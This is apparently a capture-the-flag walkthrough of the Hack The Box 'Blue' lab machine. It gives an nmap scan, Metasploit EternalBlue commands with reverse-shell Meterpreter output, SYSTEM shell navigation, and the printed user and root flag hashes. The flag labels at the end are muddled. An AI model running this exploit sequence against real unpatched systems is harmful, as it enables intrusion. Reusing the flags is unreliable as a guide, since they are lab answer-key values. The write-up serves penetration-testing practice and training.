HTB | Blue
Walkthrough
Time to Root Machine: ~15min
Write-up Date(s): 9/3/2021
Last Edited: 9/3/2021
Assuming we have connection to HTB's network already, let's go ahead and scan 10.10.10.40's ports with
Nmap
:┌──(root💀kali)-[~] └─# nmap -p- -A -T4 10.10.10.40 Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-09 15:51 EDT Nmap scan report for 10.10.10.40 Host is up (0.076s latency). Not shown: 65476 closed tcp ports (reset), 50 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=8/9%OT=135%CT=1%CU=36126%PV=Y%DS=2%DC=T%G=Y%TM=62F2BDB OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS= OS:7)OPS(O1=M54BNW8ST11%O2=M54BNW8ST11%O3=M54BNW8NNT11%O4=M54BNW8ST11%O5=M5 OS:4BNW8ST11%O6=M54BST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=200 OS:0)ECN(R=Y%DF=Y%T=80%W=2000%O=M54BNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y% OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD= OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0% OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1( OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2022-08-09T20:04:07 |_ start_date: 2022-08-09T19:51:09 | smb2-security-mode: | 2.1: |_ Message signing enabled but not required | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC | NetBIOS computer name: HARIS-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2022-08-09T21:04:06+01:00 |_clock-skew: mean: -19m57s, deviation: 34m37s, median: 1s TRACEROUTE (using port 143/tcp) HOP RTT ADDRESS 1 62.82 ms 10.10.16.1 2 31.71 ms 10.10.10.40 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 786.97 seconds
As you can see from the nmap scan, we are dealing with a
Windows 7
machine, specifically running Windows 7 Professional 7601 Service Pack 1
. In addition to the Windows environment information, we see that Port 445 [SMB]
is in use on this machine. This could prove handy, if needed, so we can note it down.Let's quickly dive into the first finding:
Windows 7 Professional 7601 Service Pack 1
. Using our information about the victim machine, and doing a quick Google search, we come up with a VERY common exploit: EternalBlue
. This infamous exploit is a buffer overflow attack that overwrites the SMBv1 buffer that is being used on the machine, and, in turn, allowing Remote Code Execution. Here is how we use the attack via Metasploit
:┌──(root💀kali)-[~] └─# msfconsole -q msf6 > search eternalblue Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce msf6 > use 0 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windo ws 7, Windows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7 , Windows Embedded Standard 7 target machines. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.67.128 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40 RHOSTS => 10.10.10.40 msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST tun0 LHOST => tun0 msf6 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 10.10.16.2:4444 [*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete) [+] 10.10.10.40:445 - The target is vulnerable. [*] 10.10.10.40:445 - Connecting to target for exploitation. [+] 10.10.10.40:445 - Connection established for exploitation. [+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes) [*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.10.40:445 - Sending all but last fragment of exploit packet [*] 10.10.10.40:445 - Starting non-paged pool grooming [+] 10.10.10.40:445 - Sending SMBv2 buffers [+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.10.40:445 - Sending final SMBv2 buffers. [*] 10.10.10.40:445 - Sending last fragment of exploit packet! [*] 10.10.10.40:445 - Receiving response from exploit packet [+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.10.40:445 - Sending egg to corrupted connection. [*] 10.10.10.40:445 - Triggering free of corrupted buffer. [*] Sending stage (200774 bytes) to 10.10.10.40 [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Meterpreter session 1 opened (10.10.16.2:4444 -> 10.10.10.40:49158) at 2022-08-09 16:23:57 -0400 meterpreter >
And just like that, we have a
meterpreter shell
! Let's go ahead and pop a regular Windows shell and run a quick whoami
command on the victim machine.meterpreter > shell Process 2852 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system
It doesn't get much easier than this! We have Admin rights without doing any sort of privesc, which is incredible. Let's find those flags and call it a day...
C:\Windows\system32>cd ../.. cd ../.. C:\>cd Users cd Users C:\Users>dir dir Volume in drive C has no label. Volume Serial Number is BE92-053B Directory of C:\Users 21/07/2017 07:56 <DIR> . 21/07/2017 07:56 <DIR> .. 21/07/2017 07:56 <DIR> Administrator 14/07/2017 14:45 <DIR> haris 12/04/2011 08:51 <DIR> Public 0 File(s) 0 bytes 5 Dir(s) 2,695,196,672 bytes free C:\Users>cd haris cd haris C:\Users\haris>dir dir Volume in drive C has no label. Volume Serial Number is BE92-053B Directory of C:\Users\haris 14/07/2017 14:45 <DIR> . 14/07/2017 14:45 <DIR> .. 15/07/2017 08:58 <DIR> Contacts 24/12/2017 03:23 <DIR> Desktop 15/07/2017 08:58 <DIR> Documents 15/07/2017 08:58 <DIR> Downloads 15/07/2017 08:58 <DIR> Favorites 15/07/2017 08:58 <DIR> Links 15/07/2017 08:58 <DIR> Music 15/07/2017 08:58 <DIR> Pictures 15/07/2017 08:58 <DIR> Saved Games 15/07/2017 08:58 <DIR> Searches 15/07/2017 08:58 <DIR> Videos 0 File(s) 0 bytes 13 Dir(s) 2,695,196,672 bytes free C:\Users\haris>cd Desktop cd Desktop C:\Users\haris\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is BE92-053B Directory of C:\Users\haris\Desktop 24/12/2017 03:23 <DIR> . 24/12/2017 03:23 <DIR> .. 09/08/2022 20:51 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 2,695,196,672 bytes free C:\Users\haris\Desktop>type user.txt type user.txt 8fdc3167bf4da0147a49cb0cabf5ef9b C:\Users\haris\Desktop>cd ../.. cd ../.. C:\Users>cd Administrator/Desktop cd Administrator/Desktop C:\Users\Administrator\Desktop>type root.txt type root.txt 866519543f33a91daadce45cc0584060
ROOT FLAG:
USER [haris] FLAG:
866519543f33a91daadce45cc0584060
USER [haris] FLAG:
8fdc3167bf4da0147a49cb0cabf5ef9b